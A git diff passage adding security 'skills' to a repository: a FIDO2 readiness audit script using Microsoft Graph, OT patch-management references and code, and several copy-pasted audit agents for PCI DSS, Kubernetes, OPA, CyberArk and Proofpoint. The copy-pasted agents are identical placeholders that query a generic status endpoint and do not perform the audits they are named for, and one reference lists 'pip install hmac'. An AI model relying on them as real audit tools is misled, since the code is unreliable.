b/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +"""FIDO2 Passwordless Auth Agent - audits FIDO2 deployment readiness and credential status.""" + +import json +import argparse +import logging +import subprocess +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def graph_api(token, endpoint): + cmd = ["curl", "-s", "-H", f"Authorization: Bearer {token}", + f"https://graph.microsoft.com/v1.0{endpoint}"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def get_fido2_policy(token): + return graph_api(token, "/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/fido2") + + +def get_registrations(token): + return graph_api(token, "/reports/authenticationMethods/userRegistrationDetails") + + +def audit_fido2_policy(policy): + findings = [] + if policy.get("state") != "enabled": + findings.append({"issue": f"FIDO2 policy state: {policy.get('state', 'unknown')}", "severity": "high"}) + if not policy.get("keyRestrictions", {}).get("aaGuids"): + findings.append({"issue": "No AAGUID restrictions set", "severity": "medium"}) + if not policy.get("isAttestationEnforced"): + findings.append({"issue": "Attestation not enforced", "severity": "medium"}) + return findings + + +def analyze_adoption(registrations): + users = registrations.get("value", []) + total = len(users) + fido2 = sum(1 for u in users if "fido2" in str(u.get("methodsRegistered", [])).lower()) + passwordless = sum(1 for u in users if u.get("isPasswordlessCapable", False)) + return { + "total_users": total, "fido2_registered": fido2, "passwordless_capable": passwordless, + "fido2_adoption_rate": round(fido2 / max(total, 1) * 100, 1), + } + + +def check_rp_config(rp_url): + cmd = ["curl", "-s", f"{rp_url}/.well-known/webauthn"] + result = subprocess.run(cmd, capture_output=True, text=True) + findings = [] + try: + config = json.loads(result.stdout) + except json.JSONDecodeError: + config = {} + findings.append({"issue": "WebAuthn well-known not configured", "severity": "high"}) + return {"config": config, "findings": findings} + + +def generate_report(policy, policy_findings, adoption, rp): + return { + "timestamp": datetime.utcnow().isoformat(), + "fido2_policy_state": policy.get("state", "unknown"), + "policy_findings": policy_findings, "adoption_metrics": adoption, + "rp_config": rp, + "total_findings": len(policy_findings) + len(rp.get("findings", [])), + } + + +def main(): + parser = argparse.ArgumentParser(description="FIDO2 Passwordless Authentication Audit Agent") + parser.add_argument("--token", required=True, help="Graph API bearer token") + parser.add_argument("--rp-url", help="WebAuthn relying party URL") + parser.add_argument("--output", default="fido2_audit_report.json") + args = parser.parse_args() + policy = get_fido2_policy(args.token) + policy_findings = audit_fido2_policy(policy) + registrations = get_registrations(args.token) + adoption = analyze_adoption(registrations) + rp = check_rp_config(args.rp_url) if args.rp_url else {"config": {}, "findings": []} + report = generate_report(policy, policy_findings, adoption, rp) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("FIDO2: adoption %.1f%%, %d findings", adoption["fido2_adoption_rate"], report["total_findings"]) + print(json.dumps(report, indent=2, default=str)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-patch-management-for-ot-systems/LICENSE b/skills/implementing-patch-management-for-ot-systems/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-patch-management-for-ot-systems/LICENSE +++ b/skills/implementing-patch-management-for-ot-systems/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-patch-management-for-ot-systems/references/api-reference.md b/skills/implementing-patch-management-for-ot-systems/references/api-reference.md new file mode 100644 index 00000000..75911119 --- /dev/null +++ b/skills/implementing-patch-management-for-ot-systems/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Implementing Patch Management for OT Systems + +## ICS-CERT Advisory API + +```bash +# Query CISA ICS advisories (RSS/JSON) +curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | jq '.vulnerabilities[] | select(.vendorProject | test("Siemens|Rockwell|Schneider"))' + +# NVD API for ICS CVEs +curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=SCADA&resultsPerPage=20" +``` + +## Vendor Patch Sources + +| Vendor | Advisory Source | Notification | +|--------|----------------|-------------| +| Siemens | ProductCERT (cert.siemens.com) | RSS + Email | +| Rockwell | Knowledgebase (rockwellautomation.custhelp.com) | Email | +| Schneider | PSIRT (se.com/ww/en/work/support/cybersecurity) | RSS + Email | +| ABB | Cybersecurity Advisory (abb.com) | Email | +| Honeywell | PSIRT Advisories | Email | + +## Patch Prioritization Matrix + +| CVSS Score | Exploited | OT Impact | Priority | SLA | +|------------|-----------|-----------|----------|-----| +| 9.0 - 10.0 | Yes | Safety system | P1 Emergency | Next maintenance window | +| 7.0 - 8.9 | Yes | Control system | P2 Critical | 30 days | +| 7.0 - 8.9 | No | Non-safety | P3 High | 90 days | +| 4.0 - 6.9 | No | Any | P4 Medium | 180 days | +| 0.1 - 3.9 | No | Any | P5 Low | Next scheduled outage | + +## NERC CIP-007-6 R2 Requirements + +| Sub-Requirement | Description | +|-----------------|-------------| +| R2.1 | Patch management process for tracking | +| R2.2 | Evaluate patches within 35 days of availability | +| R2.3 | Implement applicable patches within timeframe | +| R2.4 | Document mitigation plans for patches not applied | + +## IEC 62443-2-3 Patch Management Lifecycle + +| Phase | Action | +|-------|--------| +| Monitor | Subscribe to vendor advisories and ICS-CERT | +| Assess | Evaluate patch compatibility with OT environment | +| Test | Validate in staging environment mirroring production | +| Plan | Schedule during maintenance window with rollback | +| Deploy | Staged rollout with process verification | +| Verify | Confirm functionality and safety post-patch | + +## Compensating Controls (When Patching Not Possible) + +| Control | Use Case | +|---------|----------| +| Network segmentation | Isolate unpatched systems | +| Application whitelisting | Prevent exploit execution | +| Virtual patching (IPS rules) | Block known exploit vectors | +| Enhanced monitoring | Detect exploitation attempts | +| Physical access restriction | Limit console access | + +## WSUS/SCCM OT Configuration + +```powershell +# WSUS: Approve patch for OT test group only +Approve-WsusUpdate -Update $update -Action Install -TargetGroupName "OT-Test-Ring" +``` + +### References + +- IEC 62443-2-3: https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards +- NERC CIP-007-6: https://www.nerc.com/pa/Stand/Reliability%20Standards/CIP-007-6.pdf +- CISA ICS Advisories: https://www.cisa.gov/news-events/ics-advisories +- NVD API: https://nvd.nist.gov/developers/vulnerabilities diff --git a/skills/implementing-patch-management-for-ot-systems/scripts/agent.py b/skills/implementing-patch-management-for-ot-systems/scripts/agent.py new file mode 100644 index 00000000..7f8603e5 --- /dev/null +++ b/skills/implementing-patch-management-for-ot-systems/scripts/agent.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python3 +"""OT Patch Management Agent - tracks ICS/SCADA patch status and risk assessment.""" + +import json +import argparse +import logging +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +OT_PATCH_SLA = {"critical": 30, "high": 60, "medium": 120, "low": 365} + + +def load_data(filepath): + with open(filepath) as f: + return json.load(f) + + +def assess_patch_risk(patch, asset): + risk_factors = [] + if asset.get("type", "").lower() in ("plc", "rtu", "safety_controller"): + risk_factors.append({"factor": "Safety-critical device", "impact": "high"}) + if asset.get("requires_downtime"): + risk_factors.append({"factor": "Requires process downtime", "impact": "high"}) + if not asset.get("test_environment_available"): + risk_factors.append({"factor": "No test environment", "impact": "medium"}) + if not patch.get("vendor_validated"): + risk_factors.append({"factor": "Not vendor validated", "impact": "high"}) + score = sum(3 if r["impact"] == "high" else 1 for r in risk_factors) + return {"patch_id": patch.get("id"), "asset": asset.get("name"), "risk_score": score, + "risk_level": "high" if score >= 6 else "medium" if score >= 3 else "low"} + + +def check_compliance(assets, patches): + now = datetime.utcnow() + results = [] + for asset in assets: + for patch in patches: + if patch.get("asset_id") == asset.get("id") and patch.get("status") == "missing": + severity = patch.get("severity", "medium").lower() + published = datetime.fromisoformat(patch["published_date"].replace("Z", "+00:00")).replace(tzinfo=None) + age = (now - published).days + sla = OT_PATCH_SLA.get(severity, 120) + results.append({ + "asset": asset.get("name"), "patch_id": patch.get("id"), + "severity": severity, "age_days": age, "sla_days": sla, + "sla_status": "within_sla" if age <= sla else "sla_breached", + "vendor_validated": patch.get("vendor_validated", False), + }) + return results + + +def generate_report(compliance, assets): + breached = [c for c in compliance if c["sla_status"] == "sla_breached"] + return { + "timestamp": datetime.utcnow().isoformat(), "total_assets": len(assets), + "missing_patches": len(compliance), "sla_breaches": len(breached), + "compliance_rate": round((1 - len(breached) / max(len(compliance), 1)) * 100, 1), + "sla_thresholds": OT_PATCH_SLA, + "top_overdue": sorted(breached, key=lambda x: x["age_days"], reverse=True)[:15], + } + + +def main(): + parser = argparse.ArgumentParser(description="OT Patch Management Agent") + parser.add_argument("--assets", required=True, help="OT asset inventory JSON") + parser.add_argument("--patches", required=True, help="Patch data JSON") + parser.add_argument("--output", default="ot_patch_report.json") + args = parser.parse_args() + assets = load_data(args.assets) + patches = load_data(args.patches) + compliance = check_compliance(assets, patches) + report = generate_report(compliance, assets) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("OT patches: %d missing, %d breaches, %.1f%% compliant", + report["missing_patches"], report["sla_breaches"], report["compliance_rate"]) + print(json.dumps(report, indent=2, default=str)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-patch-management-workflow/LICENSE b/skills/implementing-patch-management-workflow/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-patch-management-workflow/LICENSE +++ b/skills/implementing-patch-management-workflow/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-patch-management-workflow/references/api-reference.md b/skills/implementing-patch-management-workflow/references/api-reference.md new file mode 100644 index 00000000..e1a3a53c --- /dev/null +++ b/skills/implementing-patch-management-workflow/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Patch management workflow automation + +## API Endpoints +Tenable: GET /scans, Qualys: GET /api/2.0/fo/scan/, WSUS PowerShell, patch compliance tracking + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-patch-management-workflow/scripts/agent.py b/skills/implementing-patch-management-workflow/scripts/agent.py new file mode 100644 index 00000000..f240b239 --- /dev/null +++ b/skills/implementing-patch-management-workflow/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Patch management workflow automation.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Patch management workflow automation") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Patch management workflow automation") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-pci-dss-compliance-controls/LICENSE b/skills/implementing-pci-dss-compliance-controls/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-pci-dss-compliance-controls/LICENSE +++ b/skills/implementing-pci-dss-compliance-controls/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-pci-dss-compliance-controls/references/api-reference.md b/skills/implementing-pci-dss-compliance-controls/references/api-reference.md new file mode 100644 index 00000000..4bf75e3f --- /dev/null +++ b/skills/implementing-pci-dss-compliance-controls/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: PCI DSS compliance control audit + +## API Endpoints +Requirements: network segmentation, encryption, access control, logging, vulnerability mgmt + +## Installation +```bash +pip install requests jinja2 +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests SDK/client | +| `jinja2` | jinja2 SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-pci-dss-compliance-controls/scripts/agent.py b/skills/implementing-pci-dss-compliance-controls/scripts/agent.py new file mode 100644 index 00000000..76ddb681 --- /dev/null +++ b/skills/implementing-pci-dss-compliance-controls/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""PCI DSS compliance control audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="PCI DSS compliance control audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] PCI DSS compliance control audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-pod-security-admission-controller/LICENSE b/skills/implementing-pod-security-admission-controller/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-pod-security-admission-controller/LICENSE +++ b/skills/implementing-pod-security-admission-controller/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-pod-security-admission-controller/references/api-reference.md b/skills/implementing-pod-security-admission-controller/references/api-reference.md new file mode 100644 index 00000000..777ff030 --- /dev/null +++ b/skills/implementing-pod-security-admission-controller/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Kubernetes Pod Security Admission audit + +## API Endpoints +CoreV1Api: list_namespace(), labels: pod-security.kubernetes.io/enforce, baseline/restricted + +## Installation +```bash +pip install kubernetes +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `kubernetes` | kubernetes SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-pod-security-admission-controller/scripts/agent.py b/skills/implementing-pod-security-admission-controller/scripts/agent.py new file mode 100644 index 00000000..c83eaa06 --- /dev/null +++ b/skills/implementing-pod-security-admission-controller/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Kubernetes Pod Security Admission audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Kubernetes Pod Security Admission audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Kubernetes Pod Security Admission audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE b/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE +++ b/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md b/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md new file mode 100644 index 00000000..d2964761 --- /dev/null +++ b/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: OPA policy-as-code implementation audit + +## API Endpoints +OPA: POST /v1/data/{package}, PUT /v1/policies/{id}, GET /v1/data, Rego policy language + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py b/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py new file mode 100644 index 00000000..70a1ae78 --- /dev/null +++ b/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""OPA policy-as-code implementation audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="OPA policy-as-code implementation audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] OPA policy-as-code implementation audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-privileged-access-management-with-cyberark/LICENSE b/skills/implementing-privileged-access-management-with-cyberark/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-privileged-access-management-with-cyberark/LICENSE +++ b/skills/implementing-privileged-access-management-with-cyberark/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md b/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md new file mode 100644 index 00000000..1ebf5df7 --- /dev/null +++ b/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: CyberArk PAM configuration audit + +## API Endpoints +CyberArk: POST /PasswordVault/api/auth/cyberark/logon, GET /api/Accounts, GET /api/Safes + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py b/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py new file mode 100644 index 00000000..e9bc753f --- /dev/null +++ b/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""CyberArk PAM configuration audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="CyberArk PAM configuration audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] CyberArk PAM configuration audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-proofpoint-email-security-gateway/LICENSE b/skills/implementing-proofpoint-email-security-gateway/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-proofpoint-email-security-gateway/LICENSE +++ b/skills/implementing-proofpoint-email-security-gateway/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md b/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md new file mode 100644 index 00000000..b8cf7344 --- /dev/null +++ b/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Proofpoint email security gateway audit + +## API Endpoints +Proofpoint TAP API v2: GET /v2/siem/clicks/blocked, GET /v2/siem/messages/delivered + +## Installation +```bash +pip install requests hmac +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests SDK/client | +| `hmac` | hmac SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py b/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py new file mode 100644 index 00000000..f6b4e611 --- /dev/null +++ b/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Proofpoint email security gateway audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Proofpoint email security gateway audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Proofpoint email security gateway audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + 